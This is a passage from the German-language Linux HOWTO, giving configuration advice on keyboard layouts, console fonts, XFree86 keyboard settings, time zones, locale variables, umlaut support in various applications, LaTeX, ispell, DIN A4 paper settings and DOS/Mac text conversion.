Deutschland

Im einfachsten Falle werden Benutzer einer deutschen Tastatur mit der Belegung `de-latin1-nodeadkeys.map' zufrieden sein:

Beispiel:

loadkeys   de-latin1-nodeadkeys.map

Schweiz

Geeignete Tastenbelegungen für die Schweiz sind `sf-latin1.map' (swiss-french) und `sg-latin1.map' (swiss-german).

In der Deutschschweiz gibt es 2 verschiedene Tastaturlayouts, bei denen wenige Tasten verschieden beschriftet sind (eckige Klammern, @-Zeichen an verschiedenen Orten).

Östereich

?

Länderübergreifende Einstellungen

Die Tastaturtabellen sind Textdateien, die sich mit dem persönlichen Lieblingseditor bearbeiten lassen. Um z.B. die französischen Anführungszeichen auf <AltGr .> und <AltGr -> zu legen, ergänzt man an den entsprechenden Stellen:

keycode 51 = comma semicolon guillemotright
keycode 52 = period colon guillemotleft

control keycode 105 = Meta_b
control keycode 106 = Meta_f

Die letzten beiden Einträge ermöglichen wortweises Springen auf der Kommandozeile mit Strg-Cursortaste. Als Anregung für eigene Ergänzungen hier eine Tabelle mit allen (?) symbolischen Namen:

"  quotedbl     '  apostrophe   `  grave        ~  asciitilde
^  asciicircum  _  underscore   !  exclam       ?  question
#  numbersign   $  dollar       %  percent      &  ampersand
|  bar          @  at           +  plus         -  minus
*  asterisk     /  slash        \  backslash    .  period
,  comma        :  colon        ;  semicolon    <  less
=  equal        >  greater      (  parenleft    )  parenright
[  bracketleft  ]  bracketright {  braceleft    }  braceright

¡  exclamdown   ¢  cent         £  sterling     ¤  currency
¥  yen          ¦  brokenbar    §  section      "  diaeresis
©  copyright    ª  ordfeminine  <  guillemotleft
¬  notsign        hyphen       ®  registered
¯  macron       °  degree       ±  plusminus    ²  twosuperior
³  threesuperior                ´  acute        µ  mu
¶  paragraph    ·  periodcentered               ¸  cedilla
¹  onesuperior  º  masculine    >  guillemotright
¼  onequarter   ½  onehalf      ¾  threequarters
¿  questiondown À  Agrave       Á  Aacute       Â  Acircumflex
Ã  Atilde       Ä  Adiaeresis   °A  Aring        Æ  AE
Ç  Ccedilla     È  Egrave       É  Eacute       ^E  Ecircumflex
Ë  Ediaeresis   Ì  Igrave       Í  Iacute       Î  Icircumflex
Ï  Idiaeresis   Ð  ETH          Ñ  Ntilde       Ò  Ograve
Ó  Oacute       Ô  Ocircumflex  Õ  Otilde       Ö  Odiaeresis
×  multiply     Ø  Ooblique     Ù  Ugrave       Ú  Uacute
^U  Ucircumflex  Ü  Udiaeresis   Ý  Yacute       |O  THORN
ß  ssharp       à  agrave       á  aacute       â  acircumflex
ã  atilde       ä  adiaeresis   å  aring        æ  ae
ç  ccedilla     è  egrave       é  eacute       ê  ecircumflex
ë  ediaeresis   ì  igrave       í  iacute       î  icircumflex
ï  idiaeresis   xo  eth          ñ  ntild        ò  ograve
ó  oacute       ô  ocircumflex  õ  otilde       ö  odiaeresis
÷  division     ø  oslash       ù  ugrave       ú  uacute
û  ucircumflex  ü  udiaeresis   ý  yacute       |o  thorn
"y  ydiaeresis

nul     Tab     Escape  space   BackSpace
Insert  Remove  Home    End     PageUp
Down    Left    Right   Up      PageDown
Macro   Help    Do      Pause   Linefeed

[Die Tabelle nicht ganz korrekt, da einige Zeichen vom Formatierungswerkzeug nicht verarbeitet werden. Wir arbeiten daran.]

Die keytables(5), die dumpkeys(1) und loadkeys(1) Manpages erläutern welche Symbole gültig sind, insbesondere

dumpkeys --long-info
erzeugt eine Liste aller bekannten Zeichennamen und Modifier.

Deadkeys

Mit Deadkey wird eine Taste bezeichnet, bei deren Betätigung das Zeichen zunächst zurückgehalten wird. Das nachfolgend eingegebene Zeichen wird quasi über das zuerst eingegeben Zeichen gedruckt, falls die Kombination Sinn ergibt. Ansonsten werden beide Zeichen nacheinander ausgegeben.

Beispiel: ist die Tilde als Deadkey konfiguriert, so ergibt <~> <a> ein ã (a mit Tilde darüber).

Compose

Alternativ zu den Deadkeys kann man auch mit der <Compose>-Taste arbeiten: sie druckt zwei nacheinander eingetippte Zeichen übereinander. So ergibt die Tastenfolge <Compose> <~> <a> ein ã, während ein <~> <a> weiterhin ~a anzeigt.

Um <Compose> auf die an vielen neuen Tastaturen vorzufindenden zusätzlichen Tasten zu legen, kann man z.B. konfigurieren:

keycode 127 = Compose

Bei mir trägt diese Taste das Symbol "Quadrat mit Pfeil in der linken oberen Ecke". Die Taste mit dem Fenster-Symbol (früher: Diamant-Symbol oder Meta) hat die Nr. 125.

Unicode

Bei Verwendung eines Unicode-Zeichensatz sollte man auch die Tastatur in den Unicode-Modus schalten:

kbd_mode -u

5.2 Zeichensatz für die Textkonsolen

Damit die länderspezifischen Zeichen überhaupt auf dem Bildschirm dargestellt werden können, muß der entsprechende Zeichensatz für den Bildschirm geladen werden. Akzeptable Ergebnisse erzielt man in der Regel mit `lat1u-16.psf', einem 16-Punkt hohen UNIcode-Zeichensatz. Der zugehörige Befehl zum Laden sieht z.B. so aus:

setfont /usr/lib/kbd/consolefonts/lat1u-16.psf
Die Details sind wiederum der Dokumentation der eigenen Distribution zu entnehmen.

Unicode

Um den Unicode-Zeichensatz für die Anwendungsprogramme freizugeben muß man die Zeichenfolge ESC ( K an den virtuellen Bildschirm senden. Dies kann z.B. durch die Befehlsfolge

for i in  1 2 3 4 5 6 7 8
do
    echo -n -e "\033(K" > /dev/tty$i
done

geschehen. Diese Lösung ist allerdings aus verschiedenen Gründen sub-optimal.

5.3 Tastenbelegung von `XFree86'

`XFree86' ermöglicht den Betrieb von Programmen, die das `X Window System' benötigen. In Verbindung mit einem sogennanten `Windowmanager', der das Look&Feel bestimmt, stellt es die grafische Benutzeroberfläche unter Linux zur Verfügung.

Oft wird empfohlen, die Tastenbelegung des XFree86 durch die Datei ~/.Xmodmap oder mit dem Befehl xmodmap zu konfigurieren. Dies ist nicht erforderlich, sondern unnötig kompliziert. Tatsächlich ist nur ein Eintrag in der Konfigurationsdatei des XFree86 notwendig, um die <AltGr> Taste zu aktivieren. Die Vorgehensweise unterscheidet sich für die verschiedenen Versionen:

Version 2.1:

Konfigurationsdatei: /usr/X11/lib/X11/Xconfig

Mit Ausnahme der in der Tastaturbelegung vereinbarten Deadkeys werden die Tasten genau wie auf der Textkonsole belegt. Die Deadkeys (s.o.) sind unter Version 2.1 tatsächlich `dead' - aber leider ganz, nicht nur `halb'. Die Freigabe der Alt-Tasten muß manuell vorgenommen werden, dazu trägt man im Abschnitt Keyboard ein:

LeftAlt     Meta
RightAlt    ModeShift

Version 3.1

Konfigurationsdateien: /etc/X11/XF86Config und /etc/XF86Config

Die Tastatur ist genau wie auf der Konsole belegt, auch die Deadkeys und <Compose> funktionieren (falls als solche konfiguriert).

Um allerdings in den Genuß der <Alt >- und <AltGr >-Tasten zu kommen, muß man bei der Erzeugung der Konfigurationsdatei (Programm xf86config) folgende Frage mit `y' (yes) beantworten:

Do you want to enable these bindings for the Alt keys?

Alternativ kann man die entsprechenden Einstellungen auch per Hand im Abschnitt Section "Keyboard" vornehmen:

    LeftAlt     Meta
    RightAlt    ModeShift

`RightAlt ModeShift' aktiviert die <AltGr>-Taste und `LeftAlt Meta' sorgt für eine Emulation der <Meta>-Taste (benötigen z.B. die Programme emacs und bash).

Version 3.2 und höher:

Konfigurationsdateien: /etc/X11/XF86Config und /etc/XF86Config

Hat man eine Konfigurationsdatei der Version 3.1 oder will man es sich besonders einfach machen, dann verfährt man wie oben beschrieben und ergänzt im Abschnitt Section "Keyboard" lediglich

    XkbDisable

Dadurch wird die unter Linux etwas kompliziert anmutende Xkbd-Technik abgeschaltet und das X liest stattdessen die Tastaturbelegung der Textkonsolen (auf diese Weise braucht man nur eine Sache zu konfigurieren). Äquivalent kann man bei der Erzeugung der Konfigurationsdatei (Programm xf86config) folgende Frage mit `n' (no) beantworten:

    Do you want to use XKB?

Beantwortet man diese Frage mit `y' (yes), dann sind in der Konfigurationsdatei folgende Einträge zu entkommentieren (d.h. das `#'-Zeichen ist zu entfernen):

#    XkbLayout   "de"
#    XkbVariant  "nodeadkeys"

Alle Versionen:

Sondermodelle fertigt man mit dem Befehl

xmodmap -pke > ~/.Xmodmap

und einem Editor nach Wahl an. Die globale Konfigurationsdatei ist /etc/X11/Xmodmap. Leider gibt es keine empfehlenswerte Software zur komfortableren Konfiguration der Tastatur (xkeycaps ist katastrophal in Sachen Benutzerführung).

Empfehlenswert für die Xmodmap sind etwa

! Freigabe der Compose-Taste
keycode 117 = Multi_key
! Punkt auf das Komma des Ziffern-Blocks
keycode 91 = period
! Was um alles in der Welt ist die Super-Taste?
keycode 115 = Super_L
! Für diejenigen, die ^? als Backspace auf der Konsole konfiguriert haben.
keycode 22 = BackSpace

Unicode

?

5.4 Zeitzonen

Die ganze Welt ist in Zeitzonen unterteilt, innerhalb derer eine einheitliche Zeit gilt (unabhängig von der Zeit einer Sonnenuhr an dem betreffenden Ort). Bezugspunkt für die Einteilung ist die Universal Time, kurz UTC.

Zu einer Zeitzone gehören bestimmte Regeln, wie z.B. die Umstellung von Sommer- auf Winterzeit. Linux kann diese Regeln automatisch berücksichtigen.

Allerdings ist die automatische Zeitumstellung nur angebracht, wenn Linux das einzige Betriebssystem auf dem Rechner ist oder auch das andere Betriebssystem auf diese Technik beherrscht.

DOS

Der Treiber clock.sys bringt DOS den Umgang mit Zeitzonen bei. Der TZ-Wert für die deutsche Zeitzone in clock.sys ist

CET-1CEST,M3.5.0/2,M10.5.0/3

Der Treiber clock.sys ist z.B. erhältlich unter der URL

ftp://ftp.tu-chemnitz.de/pub/simtel/msdos/clock/clk360rs.zip

Linux

Unter Linux gibt es quasi 3 Zeiten:

  • Die der auf dem Motherboard installierten CMOS-Uhr,
  • die Systemzeit des Linux-Kernels und
  • die dem Benutzer von verschiedenen »Uhren« angezeigte Zeit.

            »clock -u -w«               »date -u -s«
 CMOS-Uhr  <--------------   Linux    <--------------
(Mainboard)                Systemzeit                 Benutzer-Uhr
           -------------->   (UTC)    -------------->
            »clock -u -s«             »date«, »xclock«

Die Programme clock und date übersetzen zwischen diesen Uhrzeiten.

Zwar liest der Kernel schon beim Booten die CMOS-Uhr aus und interpretiert sie als UTC. Aber um systematische Fehler der CMOS-Uhr zu korrigieren, wird die Uhrzeit vom Skript /etc/init.d/boot (oder vergleichbar) ein weiteres Mal gelesen. Dort wird dann der clock-Befehl ausgeführt und ist daher für die weiteren Betrachtungen ebenfalls relevant.

Für die Umstellung von Sommer- auf Winterzeit gibt es zwei Möglichkeiten: manuell oder automatisch.

Umstellung              manuell          automatisch
----------------------------------------------------
CMOS-Uhr                Ortzeit          UTC
Option für clock        -keine-          -u

Die Zeitzone der CMOS-Uhr setzt man am sichersten während des Bootens im BIOS Setup. "UTC" ist die Universal Time: im Winter eine, im Sommer zwei Stunden weniger.

Welches Skript den Befehl clock ausführt (und demnach die Option '-u' enthalten kann) muß man dem Handbuch der eigenen Distribution entnehmen.

Die eigentliche Zeitzone wird unabhängig von den obigen Einstellungen durch den Link /usr/lib/zoneinfo/localtime festgelegt. In der Regel zeigt dieser Link auf die Hauptstadt des eigenen Landes:

Land           Zeitzonen-Datei
                                 |- Zeitzone -|
-----------------------------------------------
Deutschland    /usr/lib/zoneinfo/Europe/Berlin
Östereich      /usr/lib/zoneinfo/Europe/Vienna
Schweiz        /usr/lib/zoneinfo/Europe/Zurich

Um den Link anzulegen kann man das Kommando ln verwenden, im Falle von Deutschland lautet die komplette Befehlszeile dann:

ln -sf /usr/lib/zoneinfo/Europe/Berlin  /usr/lib/zoneinfo/localtime

Die eingestellte Zeitzone kann mit der Umgebungsvariable TZ überschrieben werden:

export TZ=Asia/Hong_Kong; xclock & export TZ=Africa/Dakar; xclock &

Das früher gebräuchliche "MET" sollte unter keinen Umständen weiterverwendet werden. Markus Kuhn schrieb mir:

Die Datei /usr/lib/zoneinfo/MET existiert nur zwecks Rückwärtskompatibilität. Die Autoren der Zeitzonentabellen (Olson/Eggert/et al.) wollen eigentlich, daß deutsche Benutzer statt MET die Datei Europe/Berlin verwenden. Dann stimmen sogar die historischen Sommerzeiten vor 1945, die Linux auch alle kennt. Außerdem wird dann in der neuesten Version der Zeitzonentabelle "Mitteleuropäische Zeit (MEZ)" endlich korrekt ins Englische mit "Central European Time (CET)" übersetzt, denn "MET" ist ein Übersetzungsfehler (siehe z.B. Langenscheid Englisch; ich habe deswegen sogar beim Physikalisch-Technischen Bundesamt nachgefragt, die für die deutsche Zeit verantwortlich sind). "CEST" ist dann entsprechend "Central European Summer Time" ("MET DST", wie es noch in vielen Linux-Installationen benutzt wird, war eine falsche Uebersetzung von MESZ).


German HOWTO: Anwendungssoftware

 Next Previous Contents

6. Anwendungssoftware

Mittlerweile sind viele Programme hinsichtlich der Unterstützung von landesspezifischen Einstellungen so weit genormt, man einen Großteil der Konfiguration durch Setzen der Umgebungsvariable LANG auf den Wert de_DE erledigen kann. Dies ist ein Standard, der in einem der vielen POSIX-Standards festgelegt wird, der aber nicht alle Bereiche abdeckt. So fehlen z.B. Papiergröße und Zeitzone; allerdings wären beide bei größeren Ländern schlecht mit einer Variable zu erfassen, so daß man sie außen vorgelassen hat.

Der richtige Ort für das Setzen von Umgebungsvariablen sind die Dateien /etc/profile oder ~/.bash_profile:

#LANG=de_AT  # in Österreich
#LANG=de_CH  # in der deutschsprachigen Schweiz
LANG=de_DE   # in Deutschland
export LANG

Soweit die Theorie. In der Tat ist es etwas nervig, wenn sich deutsche und engliche Fehlermeldungen, Datumsangaben, usw. aufgrund von unvollständiger Internationalisierung mischen:

tar: Kann Archiv 'foo.tgz' nicht öffnen: Permission denied

In einem solchen Fall überschreibt man lieber diesen Aspekt der LANG-Variable:

LC_MESSAGES=C
export LC_MESSAGES

Dabei gehe ich davon aus, daß die eigene Linux-Distribution den POSIX-Standard durch die Locale-Dateien bereitstellt. Leider sind noch nicht alle Linux-Distributionen auf diesem Stand, so daß die obige Einstellung evtl. zu nervigen Fehlermeldungen führt. Beispiel:

Warning: locale not supported by C library, locale unchanged

In einem solchen Fall sollte man sich beim Hersteller des Distribution beschweren. Oder auf eigene Faust die locale-Dateien installieren, inkl. Kompilation der libc.

Details zu den Lokalen findet man im Linux Locale mini-HOWTO oder in der man-page zu locale. Der Rest dieses Kapitels behandelt die "Ausreißer", die die Umgebungsvariable LANG nicht auswerten.

6.1 Außer Konkurenz ...

Zeichensätze ohne Umlaute

Sowohl für die Textkonsole als auch für X11 existieren Zeichensätze (engl. `fonts'), die nicht alle Zeichen aus ISO-latin1 enthalten. D.h. die fehlenden Zeichen (z.B. Umlaute) werden als Leerzeichen oder gar nicht auf dem Bildschirm dargestellt. In diesem Fall hilft natürlich die Konfiguration der Programme nicht weiter, sondern es muß ein anderer (vollständiger) Zeichensatz gewählt werden.

Eigene Süppchen

Konfigurationsdateien: ~/.Xresources und /etc/X11/Xresources

Das X-Window-System wartet mit einer eigenen Konfigurationsmöglichkeit für Locale auf. Diese muß man aber nur nutzen, wenn man für einzelne X-Programme die Locale anders setzen will, d.h. wenn man die Einstellungen in den Umgebungsvariablen überschreiben will.

Anders ausgedrückt: durch Setzen der Locale über die X-Resourcen verkompliziert man in den meisten Fällen das Setup der eigenen Linux-Machine (und wer will das schon). Andererseits gibt es natürlich Fälle, in denen das evtl. notwendig ist (aber wer hat die schon).

Gerüchten zufolge bestimmen folgende Resourcen die Locale von X11:

!*displayLang:   de_DE
!*timeFormat:    de_DE
!*inputLang:     de_DE
!*basicLocale:   de_DE
!*numeric:       de_DE

Achtung: das Kommentarzeichen ist `!', nicht `#'.

6.2 Die Ausreißer

Solange nicht ausdrücklich erwähnt, betreffen die Einstellungen alle Versionen eines Programms. Die vorzunehmenden Einstellungen sind durch Einrückung markiert.

readline und Verwandte (z.B. bash)

Konfigurationsdatei: ~/.inputrc Versionen: ab bash 1.14.1

set meta-flag on
set convert-meta off
set output-meta on

Kopiert man die Datei außerdem noch nach `/etc/skel/', so erhält sie jeder neu angelegte Benutzer automatisch. Eine globale Konfigurationsdatei gibt es leider noch nicht.

Vorsicht: Kommentare und Leerzeilen in dieser Datei können zu Problemen füren.

telnet

Konfigurationsdatei: ~/.telnetrc

Erscheinen beim telnet statt `äöü' die Zeichen `dv|', so muß man für jede Maschine einen Eintrag der Form:

localhost
     set binary true

anlegen. Denselben Effekt erreicht man mit der Option "-8". Eine globale Konfigurationsdatei für telnet existiert nicht.

ytalk

Konfigurationsdateien: ~/. und /etc/

selection

Das Programm selection muß neu compiliert werden, damit es Umlaute korrekt per Cut&Paste transportiert. Die notwendigen Modifikationen (Patch) stammen von Andries Brouwer und liegen unter der URL ftp://ftp.win.tue.nl/pub/linux/util

Gegenüber gpm verbraucht selection deutlich weniger virtuellen Speicher, daher ist es auch heute noch von Interesse.

dosemu

Konfigurationsdateien: ~/.dosrc und /etc/dosemu.conf

Versionen: ab 0.52pl16

keyboard {  layout de-latin1  keybint on  rawkeyboard on  }

X { updatefreq 8 title `DOS in a BOX' icon_name `xdos' keycode }

Hinweis: die Einstellung `keycode' funktioniert nur einwandfrei mit XFree86, nicht dagegen mit Xterminals o.ä.

emacs

Versionen: ab 19.22 (GNU)

Hinweis: einige Versionen des emacs haben Probleme mit der Aktivierung der Umlaute. Ab Version 19.29 sollten damit keinerlei Schwierigkeiten mehr auftreten.

Die Haupt-Konfigurationsdateien für den `emacs' sind:

/usr/lib/emacs/site-lisp/site-start.el       (global),
~/.emacs                                 (persönlich),
/usr/lib/emacs/site-lisp/default.el          (global),

und werden in dieser Reihenfolge abgearbeitet. Insbesondere überschreiben also die Einstellungen in der `default.el' die Einstellungen aus ` /.emacs' und `site-start.el'. Diese Einträge erlauben das Arbeiten mit Umlauten:

(set-input-mode (car (current-input-mode))
              (nth 1 (current-input-mode))
                                        0)

(standard-display-european t)

Speziellere Informationen findet man in der FAQ zum Thema `emacs und Umlaute' von Karl Brodowsky, erhältlich unter der URL:

ftp://ftp.uni-erlangen.de/pub/doc/ISO/deutsch/emacs-umlaute-faq.gz

less

Konfigurationsdateien: ~/.bash_profile und /etc/profile Versionen: nur ältere Versionen sind betroffen

export LESSCHARSET=latin1

pine

Konfigurationsdateien: ~/.pinerc und /etc/pine.conf

# character-set should reflect the capabilities of the display
# you have. Normal default is US-ASCII.  Typical alternatives
# include ISO-8859-x, where x is a number between 1 and 9.
character-set=ISO-8859-1

joe

Konfigurationsdateien: ~/.joerc und /etc/joe/joerc

-asis

Achtung, das Minus muß in der 1. Spalte stehen.

elm

Konfigurationsdatei: ~/.elm/elmrc

charset = iso-8859-1
displaycharset = iso-8859-1
textencoding = 8bit

nn

Konfigurationsdatei: ~/.nn/init

set data-bits 8

Eine globale Konfigurationsdatei existiert nicht.

lynx

Konfigurationsdateien: ~/.lynxrc und /etc/lynx.cfg Versionen: ab 2.4

CHARACTER_SET:ISO Latin 1

gslp

Kann von Hause aus keine Umlaute. Es ist ein patch erforderlich, dessen Beschreibung die Zielsetzung dieses HOWTO sprengt.

xfig

Kommandozeilenoption:

-metric

6.3 Weiterführende Tips

emacs

Der emacs kann in seinen Fähigkeiten durch Lisp-Module erheblich erweitert werden. Er ist dadurch das Schweizer Taschenmesser unter den Texteditoren. "Nur Kaffeekochen kann er nicht".

Die Lisp-Module tragen die Dateiendung .el oder .elc; letztere ist die compilierte Form einer .el-Datei. emacs sucht z.B. im Verzeichnis /usr/lib/emacs/site-lisp nach solchen Modulen.

Die Laden der Module kann im emacs per Hand mit dem Kommando

<Alt x> load-library <return> pc-mode <return>

vorgenommen werden. Alternativ kann man durch die Anweisung

(load "pc-mode")

in einer der Konfigurationsdateien das Modul dauerhaft laden. Nachfolgend die Beschreibung einiger nützlicher Module:

pc-mode

Konfiguriert die Tastaturbelegung so, wie PC-Benutzer es gewohnt sind. Keine Landesspezifischen Abhängigkeiten, aber oft gefragt. In der Konfigurationsdatei eintragen:

;;; pc-mode.el --- emulate certain key bindings used on PCs.
(load "pc-mode")
(pc-bindings-mode)

pc-select

Stellt Cut&Paste wie unter MacOS oder Win ein.

;;; pc-select.el ---  emulate cut&paste like on PC or Mac
(load "pc-select")
(pc-selection-mode)

iso-tex und iso-cvt

Zeigen die Umlaute unverändert an, speichern sie aber in dem TeX-Format ab.

konvers

Wie `iso-tex', kann aber nicht nur in beide Richtungen konvertieren, sondern beherrscht auch noch andere Formate wie etwa MIME.

iso-acc (iso-accent-mode) und alt-symbol

Erlauben die Eingabe von Umlauten und Akzenten durch vorangestellte Zeichen, d.h. ~a wird schon während der Eingabe der Zeichen zu einem a mit der Schlange darüber (und auch als solches abgespeichert).

AUCTeX

AUCTeX ist eine leistungsfähige Umgebung zum Verfassen von TeX- und LaTeX-Dokumenten. Die automatische Erkennung von landesspezifischen Besonderheiten wird mit dem Eintrag

(setq TeX-parse-self t)
in einer der Konfigurationsdateien aktiviert. `\usepackage{german}' wird daraufhin von AUCTeX als Indikator verwendet.

Die erwähnten Pakete sind erhältlich unter der URL:

AUC TeX

ftp://sunsite.auc.dk/packages/auctex/auctex.tar.gz

alt-symbol.el

ftp://ftp.vlsivie.tuwien.ac.at/pub/8bit

iso-tex.el

ftp://ftp.dante.de/pub/tex/support/iso-tex

konvers.el

ftp://ftp.uni-erlangen.de/pub/doc/ISO/charsets/konvers-862.tar.gz

TeX/LaTeX

TeX ist ein professionelles Satzsystem. LaTeX ist eine Sammlung von Macros zum effektiven Einsatz von TeX.

Verarbeitung von Umlauten

LaTeX 2e und höher

Das Paket zur Verwendung des latin1-Zeichensatzes ist mittlerweile fester Bestandteil von LaTeX. Es wird aktiviert mit der Anweisung

\usepackage[latin1]{inputenc}

im Kopfteil des Dokuments.

plain-TeX, LaTeX2.09

Für diese Formate gibt es entweder keine Pakete oder nur veraltete Style-Dateien. Daher kann man Dokumente, die solche veralteten Pakete enthalten, i.a. nicht an andere versenden. Eine Verwendung der alten Makros wie iso.sty, xlatin1.sty und umlaute.sty (für den Atari) wird daher nicht empfohlen.

Layout

Folgendes Beispiel kann als simples Grundgerüst für deutsche Texte (hier: Artikel) verwendet werden:

\documentclass[a4paper]{article}
    %  Die Option "a4paper" stellt als Papiergröße
    %  DinA4 ein. Alle anderen LaTeX-Pakete verlassen sich auf
    %  diese Einstellung.

\usepackage{german}
    %  stellt Abkürzungen für typische deutsche Besonderheiten
    %  bereit. Die Dokumentation befindet sich auf den
    %  CTAN-Serven unter /pub/tex/language/german/germdoc.tex

%\usepackage[T1]{fontenc}
%    % Erlaubt die Trennung von Wörtern mit Umlauten

\usepackage[latin1]{inputenc}
    % gibt den Zeichensatz des Dokuments an und macht somit die
    % Eingabe von latin1-Zeichen möglich.

\usepackage{a4}
    % stellt den bedruckten Bereich einer Seite, den sogenannten
    % <em/Satzspiegel/, ein. Er wird so berechnet, daß
    % durchschnittlich circa 60 bis 70 Buchstaben in einer Zeile
    % vorkommen, da man sonst beim Lesen die Zeilen verliert.

%\usepackage[german]{babel}
    % Aktiviert die Unterstutzung mehrerer Sprachen gleichzeitig.

\begin{document}
...
\end{document}

Weitere Informationen findet man unter der URL http://www.dante.de/dante/dante-faq.html

Eine bessere Alternative zur Satzspiegeleinstellung bietet das Paket "typearea.sty". Dieses Paket findet man bei den Koma-Script-Klassen von Markus Kohm unter ftp://[CTAN]/pub/tex/macros/latex/contrib/supported/koma-script/, die das "typearea.sty"-Paket intern verwenden. Es ist aber auch zusammen mit den Standardklassen (z.B. article) verwendbar.

Die Koma-Script-Klassen beachten auch andere deutsche Typographieregeln und sind daher sehr empfehlenswert. Dokumentation zu den Koma-Script-Klassen und dem "typearea.sty"-Paket befinden sich unter ftp://[CTAN]/pub/tex/macros/latex/contrib/supported/koma-script/scrguide. ps.

CTAN

Comprehensive TeX Archive Network, bestehend aus (bald wieder) drei Rechnern in Amerika, Großbritannien und Deutschland. Der amerikanische und der deutsche Rechner sind von DANTE e.V ( Deutschsprachige Anwendervereinigung TeX) angeschafft und finanziert worden. Der deutsche Rechner hat den Namen ftp.dante.de.)

Deutsche Wortrennung

Alle modernen TeX-Distributionen bieten die Möglichkeit, in der zugehörigen Konfigurationsdatei das Kommentarzeichen % vor der Zeile

german          ghyph31.tex

zu entfernen. Es werden dann Formate mit den deutschen Trennregeln erzeugt.

Mit der Rechtschreibreform ab 1. August 1998 werden andere Trennregeln gültig. Vermutlich werden dann rechtzeitig neue Trenntabellen zur Verfügung stehen.

Rechtschreibprüfung mit deutschem Wörterbuch

Zur Prüfung von Rechtschreibfehlern steht unter Linux das Programm ispell zur Verfügung. Die meisten Distributionen bieten dieses zur Installation an, die zugehörige deutsche Wortliste liegt seltener bei.

Die Wortlisten

Einen recht brauchbaren Grundstock für eine eigene Wortliste enthält das Paket "hk-deutsch2" von H. Knutzen. Es umfaßt 22 Dateien, die individuell zu einer eigenen Wortliste zusammengefaßt werden können. Die dazu notwendigen Schritte werden in dem beiliegendem README genau erklärt.

Durch die individuelle Zusammenstellung werden die Wortlisten kleiner und somit die Rechtschreibprüfung beschleunigt.

Es soll aber nicht verschwiegen werden, daß man diesen Listen in der Regel noch eine "eigene" Wörter hinzufügen muß (dies ist mit ispell automatisch möglich).

Das Paket ist erhältlich unter der URL:

ftp://ftp.informatik.uni-kiel.de/pub/kiel/dicts/hk2-deutsch.tar.gz

Das Rechtschreibprogramm ispell

Da ispell nicht jedes Textformat automatisch erkennt, muß man die Optionen -T latin1 und -w "äöüÄÖÜß" verwenden. Kommen weitere nicht-ascii Zeichen im Text vor, so sollte man diese ebenfalls mit der '-w'-Option zulassen.

Ein anderes als das englische Wörterbuch wird mit der Option '-d' ausgewählt, also z.B.

ispell -d german -T latin1 -w "äöüÄÖÜß" German-HOWTO.txt

für das Deutsche Wörterbuch in der Datei /usr/dict/german.hash (Binärformat).

Ruft man ispell aus dem Editor emacs heraus auf, so kann man obige Parameter automatisch übergeben, indem man folgenden Eintrag in einer der Konfigurationsdateien des emacs vornimmt:

(setq ispell-extra-args '("-Tlatin1"
                          "-d" "/usr/lib/german"
                          "-w" "äöüÄÖÜß"))


German HOWTO: Textdateien

 Next Previous Contents

7. Textdateien

7.1 Das Papierformat DIN A4

Nähere Informationen zu Papierformaten findet man unter der URL

http://www.ft.uni-erlangen.de/~mskuhn/iso-paper.html

Folgende Programme können auf das Papierformat DIN A4 eingestellt werden.

xdvi

Konfigurationsdateien: ~/.Xresources und /etc/X11/Xresources

XDvi.paper:     a4

ghostview

Konfigurationsdateien: ~/.Xresources und /etc/X11/Xresources

Ghostview.pageMedia:  A4

gs

Kommandozeilenoption

-sPAPERSIZE=a4

dvips

Konfigurationsdateien: ~/.dvipsrc und /usr/lib/texmf/dvips/config.ps

% Paper size information.
%
% If your default is a4 uncomment the following definition
% and comment out the letterSize definition.
%
@ a4size 210mm 297mm
@+ %%PaperSize: a4

ImageMagick

Dieses Grafikpaket enthält ein Programm zur Konvertierung beliebiger Grafikformate. Die Kommandozeilenoption

-page A4
erzwingt das Seitenformat A4.

7.2 Konvertierung von DOS- und Mac-Texten nach Linux

Die Textformate von DOS, MACs und UNIX unterscheiden sich in zwei Punkten:

  • Codierung der Sonderzeichen (z.B. Umlaute)
  • Markierung des Zeilenendes

Die Zeilenenden

Das Ende einer Textzeile wird wie folgt markiert:

Linux:    LF ("linefeed" = Zeilenvorschub, "^J", Ascii 10)
DOS:   CR LF
Mac:   CR    ("carriage return" = Wagenvorlauf, "^M", Ascii 13)

Die Programme fromdos, todos und frommac, tomac wandeln ausschließlich die Zeilenenden um, die Zeichen selbst werden nicht angepaßt. Gleiches gilt für die Optionen `conv=auto', bzw. `conv=text' des mount-Kommandos bzgl. des MS-DOS Dateisystems.

Die Zeichensätze

Die Zeichensätze setzen sich wie folgt zusammen:

Linux: ISO-LATIN1
DOS:   IBMPC Charactersets CP 437, CP 850, ...
Mac:   Mac-Eigengebräu

Der erste Teil aller dieser Zeichensätze ist der ASCII-Zeichensatz, so daß man Texte ohne Umlaute usw. nicht zu konvertieren braucht. Um sowohl Zeilenenden, als auch die Sonderzeichen zu konvertieren, kann man das Programm recode benutzen:

recode  -d ibmpc:lat1    hausarb.tex

wandelt die DOS-Datei `hausarb.tex' in das Format ISO-Latin-1 um. Durch die Definition von Aliasen kann man sich das Leben etwas einfacher machen:

alias unix2dos='recode lat1:ibmpc'
alias dos2unix='recode ibmpc:lat1'
alias unix2mac='recode lat1:mac'
alias mac2unix='recode mac:lat1'

Achtung: diese aliase sind in shell-Skripten nicht verfügbar.

GNU recode ist von jedem GNU-mirror erhältlich, also z.B. von

ftp://ftp.uni-koeln.de/packages/gnu/recode-3.4.tar.gz

7.3 Drucken

Der
   Treppenstufen
                -Effekt
                       (engl. staircase)
                                        rührt
                                              von
                                                 den
                                                    oben
beschriebenen
             Unterschieden
                          im
                            Textformat
                                      her.

Die meisten Drucker besitzen ein kleines Mäuse-Klavier, an dem man den Drucker vom DOS-Textformat auf das Unix-Textformat umstellen kann. In der Regel wird damit auch automatisch auf die Betriebsart ISO-latin1 geschaltet, so daß auch Umlaute usw. gedruckt werden.

Weitere Informationen findet man im Linux Printing-HOWTO.

7.4 PostScript

Fehlen in einem gedruckten PostScript-Dokument die Umlaute ganz oder werden diese verstümmelt gedruckt, so liegt das nicht am Drucker oder am `ghostscript' (konvertiert PostScript für den Drucker), sondern an der Software: das PostScript wurde nicht korrekt erzeugt.

Besonders geschickt ist Word: es beginnt eine PostScript-Datei mit <Strg d>, dem Zeichen für das Ende einer Datei (unter Linux). Das fällt ebenfalls in die Kategorie "kaputtes PostScript" (wird aber mittlerweile von den meisten Druckerfiltern abgefangen).


German HOWTO: Programmierung

 Next Previous Contents

8. Programmierung

8.1 National Language Support (NLS)

Für Programmierer unbedingt zu empfehlen ist das Paket `GNU gettext'. Es stellt eine Bibliothek zur Verfügung, die den Programmen zur Laufzeit den Zugriff auf länderspezifische Informationen erlaubt.

